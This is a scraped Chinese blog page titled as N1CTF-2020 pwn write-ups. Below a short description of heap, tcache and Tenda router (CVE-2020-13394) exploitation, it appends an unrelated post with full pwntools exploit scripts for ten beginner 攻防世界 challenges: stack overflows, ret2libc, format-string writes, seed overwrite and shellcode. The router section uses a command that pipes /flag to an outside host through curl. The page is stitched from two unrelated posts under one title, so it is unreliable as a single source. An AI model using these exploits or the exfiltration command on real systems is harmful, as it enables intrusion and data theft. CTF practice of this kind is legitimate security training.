N1CTF-2020 PWN 部分题解

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了N1CTF-2020 PWN 部分题解相关的知识,希望对你有一定的参考价值。

参考技术A

题目定义了一个用于容器空间动态拓展的结构体:

题目new功能向容器内部写入一个8字节长度的数字,容器空间拓展规则如下:每次内部元素个数达到最大后,分配当前空间的2倍空间,并将旧空间数据拷贝到新空间。

delete功能就单纯将point指针值-8。

show功能将point指针-8后的地址里面的值打印出来。

不断得new,chunk大小变化为 0x20(A), 0x20(B), 0x30, 0x50, 0x90。

两个0x20的chunk放入了tcache中(B->A),利用delete和show功能就能够泄露堆地址。

修改B chunk里的fd指针,分配chunk到tcache里。

分配到tcache后就好办了,修改tcache->conuts[tc_idx], free掉一个chunk泄露libc基址,再修改tcache->entries[tc_idx]来申请到__free_hook。

由于没有合适的one_gadget可用,使用setcontext+53来ROP。

晚上才看到这题,开始改docker还改出一堆错误太菜了,无奈拿了个四血(Venom tql)。

逆的时候发现有 Tenda 关键字,Google一下发现 CVE-2020-13394 , https://joel-malwarebenchmark.github.io/

链接里给的POC把路径给隐藏掉了,但逆一下就能找到路径应该是 /goform/SetNetControlList

经过测试,这个payload得发送两次,而且需要断开TCP连接后才能触发漏洞点 strcpy

给的 start.sh 改成这样, docker exec 上去用 gdbserver 就能愉快的调试了。

调试确定偏移,并且由于程序由 qemu 起的,栈地址以及libc基址不变,调试得到这两个地址直接写进去,最后调用 system() 函数。

由于需要断开TCP连接才能触发漏洞,system函数执行 curl http://ip/ `cat /flag` 来带出flag

比赛时没做出来,赛后看 https://ctftime.org/writeup/24295 复现了下

思路是伪造 struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook。

不过没有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八个字节放"/bin/sh", 后8个字节放system函数地址。

攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)


1、level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
题目思路:

  • 首先使用checksec检查文件保护机制,是多少位的程序。
    64位程序,栈不能执行

  • 继续丢入IDA。
    输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互。

    进入vulnerable_function函数,通过伪代码分析逻辑,发现了栈溢出漏洞。
    发现buf数组只有0x80字节,但是read函数从中读了0x200个。
    或许咱们能够进行溢出,覆盖掉返回地址,劫持程序执行流,执行咱们想执行的方法。一般咱们的目的是去执行 system("/bin/sh")。

  • 发现可疑函数,拥有system("/bin/sh")
    所以我们能够把返回地址改为callsystem的地址,从而实现漏洞的利用

    from pwn import * 
    
    payload =  'a'*0x88 + p64(0x400596).decode("iso-8859-1")
    
    r = remote("111.200.241.244", 59345)
    r.recvuntil("Hello, World\\n")
    r.sendline(payload)
    r.sendline('cat flag')
    r.interactive()
    
  • 获取后门后,get了shell,直接ls+cat flag即可获得
    PS:python3的pwn包因为编码不同,无法直接用p64,需要decode(“iso-8859-1”)一下。

cyberpeace371b45af53b1def517585d2c4fb81631

2、level2

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’
题目思路:

  • checksec和file一下。
    32位程序。开启了NX,没法用shellcode,但是没有栈保护,可以直接栈溢出

  • 丢到IDA32,shift+f12进字符串窗口,看看有没有可以直接利用的字符串。
    发现有system和/bin/sh可以利用,猜测需要溢出覆盖system函数参数,使其变成system(“/bin/sh”) 来获取shell

    再看main函数,没有什么疑点,点进vulnerable_function函数看看


    发现buf长度为0x88,但read了0x100,且并没有输入限制,存在溢出漏洞

  • 思路
    填充字符使buf溢出
    溢出后将read函数的返回地址覆盖为system的地址 ,进入我们构造的伪栈帧
    覆盖system的参数,使其变为”/bin/sh”
    拿到shell,然后寻找flag

    from pwn import *
    io = remote('111.200.241.244',58444)
    #连接远程
    elf = ELF('./level2')
    #elf载入本地程序,因为没有开PIE
    system_adr = elf.plt['system']
    #获取system在plt表中的地址
    binsh_adr = next(elf.search(b'/bin/sh'))
    #在程序搜寻binsh的地址
    payload = b'a'*(0x88+4) + p32(system_adr) + b'dead'+p32(binsh_adr)
    #buf定义了0x88个字节,+4覆盖ebp,填入system地址
    #b'dead'是system的返回地址,我瞎写的,为了栈平衡
    #传入binsh的地址
    io.recv()
    io.sendline(payload)
    io.sendline('ls')
    io.sendline('cat flag')
    io.interactive()
    
cyberpeace1e38583b02ed92641be48356eede2e23

3、string

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
题目思路:

  • 先查一遍漏洞,发现除了PIE全开。所以只能 格式化字符串

  • 丢到IDA64里面,顺着程序的流程走。

    可以看到在sub_400BB9中有printf(&format, &format)语句,存在格式化字符串漏洞。

    此外,在函数sub_400CA6中,可以发现巫师的分支有命令执行的语句,可以直接执行外部输入的命令。

  • 所以

  • 因此,本题的关键在于,如何利用格式化字符串漏洞,让程序的控制流进入到命令执行语句;也就是说,进入sub_400CA6函数中,且满足*a == a1[1]的条件。
    进入sub_400CA6函数较为简单,初始化人物时随便输一个名字,然后输入east进入下一个函数(这个判断有点迷,不明白为什么会先判断是不是east,比较成功了再与up比较);输入一个地址(注意必须能转换为int型)。然后就是格式化字符串漏洞的输入,之后就进到sub_400CA6中了。
    然后是a的问题,可以发现a来源于main函数中的v4,v4是强制转换位int64后的v3,*v3是68,v3[1]是85,而且main函数会把v4的值打印出来,不需要再去找。
    用gdb调试程序,在printf下断点,输入%x测试一下,发现输出是这样的。

    由于是64位程序,泄露出来的地址分别是rsi, rdx, rcx, r8, r9, rsp+8, rsp+16等等。在地址输入时,我输入的是24(0x18),也就rsp+16的位置,这个位置是格式化字符串的第7个参数(也是printf的第8个参数)。由于v3的地址程序会给出,如果在这里输入之前接收到的v3 地址(也就是secret[0]),然后就可以用格式化字符串修改v3指向的值(*v3)。因此可以得出,payload的关键部分如下

    sh.recvuntil('\\'Give me an address\\'')
    sh.sendline(str(v3_addr)) 	 	
    sh.recvuntil('you wish is:') 	
    payload ='%085d' + '%7$n' 	
    sh.sendline(payload) 	
    
  • 最后exp

    from pwn import * 
    
    p = remote("111.200.241.244",53112) 
    p.recvuntil("secret[0] is ") 
    addr = p.recvuntil("\\n") #截取到返回的v3(v4)的地址。 
    print(addr) 
    
    p.recvuntil("What should your character's name be:") 
    p.sendline("nibaba") 
    p.recvuntil("So, where you will go?east or up?:") 
    p.sendline("east") 
    p.recvuntil("go into there(1), or leave(0)?:") 
    p.sendline("1") 
    
    p.recvuntil("'Give me an address'") 
    p.sendline(str(int(addr, 16))) 
    p.recvuntil("And, you wish is:") 
    payload = "%85d%7$n" 
    p.sendline(payload) 
    p.recvuntil("I will help you! USE YOU SPELL") 
    # system("/bin/sh") 的shellcode编码就是 \\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05 
    p.sendline("\\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05")
    p.sendline("cat flag")
    
    p.interactive()
    
    
cyberpeace4c1ae176d52e0652a48799efdc54ca24

4、guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
题目思路:

  • 运行了一下发现是个猜数的游戏,还是先看文件属性及保护措施
    64位,发现各种防护全开

  • 丢进64位IDA,反编译main函数。

    shift+f12看看字符串窗口,找可利用的字符串

    看main的伪代码,“rand() % 6 + 1”的含义就是获取1~6的伪随机数。
    可以看出这个猜数游戏会进行十个回合,如果十个回合都能猜对数的话,就可以调用sub_C3E函数,而这个sub_C3E函数中就有system(“cat flag”)

    由于开启了栈保护,所以没法直接覆盖返回地址来进入sub_C3E,但是输入name时,用了gets,利用gets栈溢出,尝试覆盖掉seed,使种子值已知,这样就能得到rand的值,之后只要循环输入十次就能拿到flag
    srand()是用来初始化rand()的C语言函数,而rand()函数用于产生随机数,但并不是真的随机数,只要种子已知,就能得到rand()生成的所有随机数(这个函数产生的随机数和平台有关系,同样的seed,Windows下和Linux下产生的值不同,由于这题文件elf,是基于Linux的,所以脚本在Linux上运行才行)。

  • 解题思路:
    (1)输入name时,通过gets溢出,覆盖掉seed的值,使seed已知
    (2)写脚本,或者手动输入rand()函数产生的前10个值
    (3)到达sub_C3E拿到flag

  • exp:

    # 111.200.241.244:55182
    
    from pwn import *
    from ctypes import *  #python的一个外部函数库
    
    # ctypes是Python的外部函数库。它提供C兼容的数据类型,并允许在DLL或共享库中调用函数。它可以用于将这些库包装在纯Python中。
    # payload中的第四行,就是加载dll,这样就可以调用C里的srand和rand函数,比如调用srand函数,就用libc.srand()
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")  #调用DLL中输出的C接口函数
     
    payload = 'a'*32 + p64(1).decode("iso-8859-1")
    # ‘a’*32:看栈算v7和seed的距离,这里var_30就是v7
    # 地址0x00000030和0x00000010之间距离为32,所以填充32个’a’
    # p64(1):将seed的值覆盖为1
    
    p = remote('111.200.241.244',55182)
    libc.srand(1)
    p.sendlineafter('name:',payload) 
    for i in range(10):  #输入以1为seed,前十次所产生的伪随机数
        p.sendlineafter('number:',str(libc.rand()%6 + 1)) 
    
    p.interactive()
    
    

最后flag:

cyberpeace894e3267c2de6bc76e13ec89fffa9505

5、int_overflow

题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?
题目思路:

  • 题目提示很明显,往整数溢出方向想。
    先查看文件基本信息,得知是32位程序,且没有canary和PIE

  • 然后丢进IDA32,看看字符串窗口,看有没有可以利用的字符串,发现system和cat flag,且存在一些需要留意的高危函数,strcpy和read。

    点进cat flag发现有一个what_is_this函数直接用了system(“cat flag”),也就是说只要我们想办法调用这个函数,就可以直接拿到flag。
    接下来需要找漏洞,最好是可以直接覆盖一个返回地址,覆盖成what_is_this函数的地址。
    main里没有什么可疑点,点进login函数,发现密码给的长度很大,read可以读0x199字节,十进制就是409,谁会用这么长的密码?这个长度很可疑,猜测从这里入手。

    再进入check_passwd看看

    发现限制了密码长度,要求密码长度在(3,8]内,并且还发现有个strcpy(&dest, s),这个函数里的s就是密码的字符串,dest长度0x14,所以s长度远大于dest,这就会导致栈溢出。

  • 所以思路:
    (1)正常输入到输入密码的那一步
    (2)绕过密码的长度检测,让dest溢出
    (3)覆盖返回地址,使之变成what_is_this函数的地址
    (4)拿到flag

  • exp:

    from pwn import *
    
    elf=ELF('./intoverflow')
    sys_addr = elf.symbols['what_is_this']
    payload = 'a'*24 + p32(sys_addr).decode("iso-8859-1")
    # 1.‘a’*24:用于使dest溢出,首先dest本身距离edp是0x14,十进制是20
    # 在覆盖到返回地址的途中,有一次leave操作,在32位汇编中,leave等价于mov esp,ebp并pop ebp的操作,也就是说,在覆盖到返回地址之前,还有一次出栈,所以需要多覆盖一个ebp的长度,由于是32位,所以是4字节,所以覆盖ebp0x4,十进制是4总和就是’a’*24
    # 2. p32(sys_addr):覆盖返回地址为what_is_this函数的地址,即check_passwd之后直接返回what_is_this函数。
    payload = payload.ljust(260,'a') #ljust可以用a来填充payload到指定长度260
    #这一句也能写成这样:payload += 'a'*(260-len(payload))
    # 3. payload.ljust(260,’a’):由于程序执行到what_is_this函数后我们可以直接得到flag,所以之后怎么运行就不用管了,直接填充一堆’a’来让payload的长度能通过密码长度检测即可。但是显然payload前两部分的长度就超过了密码检测的最大长度8,这个时候就用到了整数溢出
    # v3即为密码的长度,可以看到它是一个长8位的只有正数的整数即00000000~11111111,就是0到255,当给v8赋值超过255时,比如256,即1 0000 0000,由于v8本身只有8位,所以超过8位的,就会发生高位截断,只会保留低位,所以这个1会被舍弃,v8的值就是0000 0000,而给v8赋值257,它的值就是1,赋值258,它的值就是2。所以只要让payload的长度在(259,264]内,就能让v8的值在(3,8]内,才能通过密码长度检测。
    
    p = remote('111.200.241.244',64378)
    p.sendlineafter('Your choice:','1')
    p.sendlineafter('your username:','aaa')
    p.sendlineafter('your passwd:',payload)
    p.interactive()
    
    
  • 最后flag:

    cyberpeace56275ebc7bce235dfe73ee7492df98d5
    

6、cgpwn2

题目描述:菜鸡认为自己需要一个字符串
题目思路:

  • 先看保护措施
    32位,没开PIE和栈保护,只开了NX。
  • 拖进32位IDA,先看字符串窗口。

    只找到了system,没有cat flag或者/bin/sh等字符串,再结合题目描述的提示“菜鸡认为自己需要一个字符串”,猜测需要自己输入一个/bin/sh ,然后把它当参数传system函数里,拿到shell。
    然后看伪代码,找漏洞,main里没什么可疑的,但是调用了一个hello函数,点进去看看


    发现了一个会导致溢出的gets(在程序的最下方)
    运行程序发现是让我们输入两次,第一次输入名字,第二次gets了你留下的讯息。
  • 所以思路:
    由于只开启了NX,那么name的地址是不变的,记下name地址,输入’/bin/sh’到name里
    利用gets溢出,覆盖返回地址为system的函数地址
    把name作为参数传给system,构成system(“/bin/sh”)
    ls看文件,cat flag拿到flag
  • 所以exp:
    from pwn import *
    elf = ELF('./cgpwn2')
    sys_addr = elf.symbols['system'] #获取system函数地址
    binsh_addr = 0x0804A080 #name的地址
    
    # ‘a’*42:看栈可知s距离ebp有0x26,十进制即为38,再加上需要覆盖的ebp长度,由于是32位程序,所以ebp长度0x4,所以总共需要填充’a’*(38+4)
    payload = 'a'*42 + p32(sys_addr).decode("iso-8859-1") + p32(0xaaaa).decode("iso-8859-1") + p32(binsh_addr).decode("iso-8859-1")
    # p32(sys_addr):system函数的地址
    # p32(0xaaaa):用于填充system函数的返回地址,由于system(“/bin/sh”)后直接拿到shell,所以随便填个返回地址就行
    # p32(binsh_addr):name的地址,因为name的值就是’/bin/sh’,所以用它作为system的参数
    
    p = remote('111.200.241.244',49350)
    p.sendlineafter('name','/bin/sh')
    p.sendlineafter('here',payload)
    p.sendline('cat flag')
    p.interactive()
    
    
  • 所以flag
    cyberpeace3d813e406941b85da7f6fb7a263d39b2
    

7、level3

题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

题目思路:

  • 拿到文件以后还给了个libc,估计是要自己计算system地址
    先查看文件信息及保护措施,32位,只开了NX
  • 丢到IDA32里。
    字符串界面,既没有system,也没有/bin/sh或cat flag,但是有read和write,所以可以利用write泄露libc中system地址,并找到’/bin/sh’让system调用。

    看一下main函数


    接下来计算溢出需要的偏移,用gdb的pattern脚本生成200个字符,运行level3程序,直接输入200个字符,查看溢出点,利用pattern offset计算需要填充的字符数,即’a’*140。
  • 所以思路:
    因为libc开着地址随机化,所以偏移会变化,必须在同一次运行内进行两次攻击,确保offset不变
    第一次攻击,利用write函数,泄露其真实地址,通过计算得到libc加载的基地址
    已知libc的基地址,计算system的真实地址和字符串’/bin/sh’的真实地址
    第二次攻击,构造system(“/bin/sh”),拿到shell
    拿到flag
    计算公式:
    libc加载的基地址 = write真实地址 - write在libc中的偏移量
    system真实地址 = libc加载的基地址 + system在libc中的偏移量
    /bin/sh真实地址 = libc加载的基地址 + /bin/sh在libc中的偏移量
    其中 “/bin/sh在libc中的偏移量” 不知道为啥我用search查不到,所以我用winhex打开了libc,搜索字符串,得到0x159020+0xb,即0x15902b
  • 所以exp:
    from pwn import *
    
    elf=ELF('./level3')
    libc=ELF('./libc_32.so.6')
     
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main_addr = elf.symbols['main']
    
    sh = remote('111.200.241.244',50464)
    
    payload0 = 'a'*140 + p32(write_plt).decode("iso-8859-1") + p32(main_addr).decode("iso-8859-1") + p32(1).decode("iso-8859-1") + p32(write_got).decode("iso-8859-1") + p32(4).decode("iso-8859-1")
    sh.sendlineafter("Input:\\n",payload0)  #第一次攻击
    
    write_got_addr = u32(sh.recv()[:4])#得到write函数的真实地址,32位收到的包长4位,所以用[:4]
    
    libc_addr = write_got_addr - libc.symbols['write']  #计算libc加载的基地址
    sys_addr = libc_addr + libc.symbols['system']  #计算system函数真实地址
    bin_sh_addr = libc_addr + 0x15902b  #计算'/bin/sh'真实地址,这个0x15902b就是/bin/sh在libc中的偏移量
    
    payload1 = 'a'*140 + p32(sys_addr).decode("iso-8859-1") + p32(0x1234).decode("iso-8859-1") + p32(bin_sh_addr).decode("iso-8859-1")
    sh.sendline(payload1)  #第二次攻击
    sh.sendline('cat flag')
    
    sh.interactive()
    
    
  • payload 解释
    payload0解释:
    ‘a’*140:用于填充,使栈溢出,上文用pattern offset计算出140
    p32(write_plt):write在plt表中的地址,让read完后进入write
    p32(main_addr):main函数地址,是write函数的返回地址,让write执行完后,返回main函数,这样就能进行第二次攻击
    p32(1):write函数的第一个参数
    p32(write_got):write函数的第二个参数,此为write要泄露的自身真实地址
    p32(4):write函数的第三个参数
    
    payload1解释:
    ‘a’*140:用于填充,使栈溢出,上文用pattern offset计算出140
    p32(sys_addr):system的真实地址,让read完后进入system
    p32(0x1234):随便填充一个system的返回地址
    p32(bin_sh_addr):bin/sh的地址,当system参数
    
  • 所以flag:
    cyberpeaceac36a56683c1be1523f8aeb8d67bfc34
    

8、get_shell

题目描述:运行就能拿到shell呢,真的
题目思路:

  • 重复一遍:运行就能拿到shell呢,真的呢!
  • 先查保护措施:
  • 看看main函数:
  • 所以exp
    from pwn import *   #导入 pwntools 中 pwn 包的所有内容
    r = remote("111.200.241.244","52426")  # 链接服务器远程交互
    r.sendline()  # 将shellcode 发送到远程连接
    r.sendline('cat flag')
    r.interactive()  # 将控制权交给用户,这样就可以使用打开的shell了
    
  • 所以flag:(甚至可以不用exp,直接nc一下就行)

    cyberpeace5310f41fb60d09a2f6b4856c1c2f0a98
    

9、CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
题目思路:

  • 依旧是先放到linux里扫一下,看看文件属性及开启的保护措施
    开了canary和nx,即没法直接覆盖返回地址和使用shellcode,题目里提示了prinf的作用,可以着重看看prinf

  • 用32位IDA打开,既有system,也有cat flag

    再看主函数的伪代码

    这个程序流程就是让你输入你的名字和要留下的信息,它就会说你好,并用printf输出你留下的信息。
    如果pwnme的值为8,那么判断成立就会直接执行system(“cat flag”)拿到flag,否则输出Thank you。
    第23行的这个printf不是正确的用法,会产生格式化字符串漏洞
    printf正确用法是printf(“格式化字符串,……” , 参量,……),比如输出一个字符串a应该用printf(“%s”,a),但如果写成了printf(a), 就会出现格式化字符串漏洞 ,如果a是”%x”,那么printf(a)就会输出它后面的内存中的数据

  • 所以思路:
    第一次运行程序,name随便输,在输入message时利用%x计算输入位置偏移
    第二次运行程序,name随便输,在输入message时,先输入pwnme的地址
    利用 %偏移$n 改变pwnme的值为8
    拿到flag

  • 所以exp:

    from pwn import *
    
    payload = p32(0x0804A068).decode("iso-8859-1") + 'aaaa%10$n'
    # p32(0x0804A068):pwnme的地址,双击pwnme即可查看
    # ‘aaaa%10$n’:p32打包后的数据是4位的,但是要赋值8给pwnme,所以再填充4个a,然后把8赋值给第十个参数,即pwnme的地址对应的值
    
    p = remote('111.200.241.244',64540)
    p.sendlineafter('tell me your name:','abcd')
    p.sendlineafter('your message please:',payload)
    p.interactive()
    
  • 所以flag

    cyberpeace0a67e22819899d3d43c6cbfa5f353b1c
    

10、hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思
题目思路:

  • 照例是看一下信息:
    64位,只开了NX。

  • 64位IDA打开,先看字符串窗口,发现可以有system和cat flag,组合使用可以直接拿到flag。

    发现在sub_400686函数里,并且可以直接用


    而主函数里调用该函数条件是dword_60106C等于0x6E756161,且read存在溢出漏洞,栈溢出是向高地址溢出,所以可以由601068溢出来覆盖60106C。

  • 所以思路:
    让unk_601068溢出,覆盖dword_60106C的值为0x6E756161,来使main的if判断成立,调用sub_400686函数,得到flag。

  • 所以exp:

    from pwn import *
    a = remote('111.200.241.244',62868)
    payload = 'a'*4 + p64(0x6E756161).decode("iso-8859-1")
    #地址0x00601068到0x0060106C的偏移是4,所以填充4个字符;由于是64位程序,所以用p64打包
    a.sendline(payload)
    a.sendline('cat flag')
    a.interactive()
    
  • 所以flag

    cyberpeace5daa139645e3b436bc45fa40fc2d21d9
    

以上是关于N1CTF-2020 PWN 部分题解的主要内容,如果未能解决你的问题,请参考以下文章

ISCC部分pwn题解

pwn2021 绿城杯(部分)

pwn2021 东华杯(部分)

pwn2021 极客大挑战(部分)

pwn2022 祥云杯 部分wp

pwn2022 祥云杯 部分wp